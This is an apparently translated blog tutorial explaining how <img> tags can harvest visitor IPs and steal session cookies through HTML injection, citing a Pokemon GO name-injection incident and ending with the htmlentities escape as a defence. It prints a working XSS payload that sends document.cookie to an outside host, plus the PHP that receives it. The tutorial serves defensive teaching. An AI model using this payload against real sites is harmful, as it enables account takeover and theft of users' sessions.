使用 IMG 标签窃取账户

使用图像抓取浏览者数据

窃取账户

一个真实的例子

想象一下，我正在告诉你在 Twitter 上发布推文是多么棒的事情，然后我向你展示了这张图片：

这看起来似乎没什么问题。你刚才看到我因为某件事兴奋不已，还跟你分享了一张照片。你对我了解了一些，但你可能没意识到，我也对你了解了一些……比如可能知道你住在哪里。这算近距离吗？

除非你使用了 VPN，否则这可能会让你措手不及。别担心，我不会存储你的任何数据。我只是强调一点。<img> 标签可能会被滥用来窃取用户数据。黑客甚至可以利用这一点窃取其他用户的在线账户，而他们对此毫不知情。我会告诉你怎么做。

使用图像抓取浏览者数据

我们来看看上面图片的代码：

<img src="http://nastyox.com/images/rando-js-tweet" alt="Rando.js on JavaScript Daily"/>

一个不为人知的小秘密是，该 URL 末尾缺少图片文件扩展名是有原因的。它不是图片；而是一个 PHP 文件，该 PHP 文件会抓取你的 IP 地址，并对其进行一番处理，然后返回一些图片数据来模拟图片 URL。操作很简单，就这么简单：

<?php
    $ip = $_SERVER['REMOTE_ADDR'];

    //do whatever I want with the IP...

    readfile("rando-js-tweet.png");
?>

现在，如果你曾经研究过 Web 开发，你就会知道，每个人都会抓取你的 IP 地址，并用它来在网络上追踪你。这早已不是什么新鲜事了。但当你开始除了 URL 之外发送其他数据时，危险就来了。

窃取账户

我实际上不会为此设置一个现场演示，因为我认为这是非法的，但我会给你一些黑客可以用来窃取你账户的真实代码——因为在网络安全方面，了解你所面临的威胁至关重要。代码如下：

<img src="http://nastyox.com/images/fake-sample-url" onload="var i=0;if(i++)this.src+='?c='+encodeURIComponent(document.cookie);"/>

这段代码的作用就是调用 src 中提供的 PHP 文件，并以document.cookie为参数。如果你把这段代码发布到评论区、论坛或其他没有主动防范HTML 注入的平台，所有加载图片的用户都会在不知不觉中将他们的 Cookie 数据发送到你的 PHP 文件，而你的 PHP 文件可以像下面这样轻松地获取 Cookie 数据：

<?php
    $cookies = rawurldecode($_GET["c"]);

    //browse your cookies for info that'll let me mimic your login...

    readfile("rando-js-tweet.png");
?>

你需要访问某人帐户的所有信息通常都存储在他们的 中document.cookie。如果找不到，你可以在他们的 、 或任何其他客户端存储中搜索，window.localStoarge直到window.sessionStorage找到你想要的信息。这种漏洞需要 Web 开发人员的疏忽，但相信我，这种情况确实会发生。

一个真实的例子

2016年7月，Pokemon GO在全球手机上线，短短两周内每日活跃用户就达到了惊人的4500万。同年8月，玩家们发现了这个巧妙的小技巧：

是的，这确实发生过。玩家们用他们的宝可梦名字写HTML代码，然后它就执行了。我不记得当时你的设备上是否能看到其他玩家的宝可梦，也不知道账户是否处理了支付信息，但你可以想象开发者们当时有多抓狂。我听说有一天晚上要把名字加粗/斜体，第二天早上就修好了。

如果您刚刚意识到自己容易受到此类攻击，请使用PHP 的htmlentities（或其他语言的类似方法）来保护您的用户，如下所示：

$postedText = htmlentities($postedText);

//Now, we can safely show other users this escaped text

就是这么简单。这样可以转义所有黑客试图在发布文本中注入的 HTML 标签（包括 img 标签）。不只是你会忘记这样做；大佬们也时不时会遇到这种情况。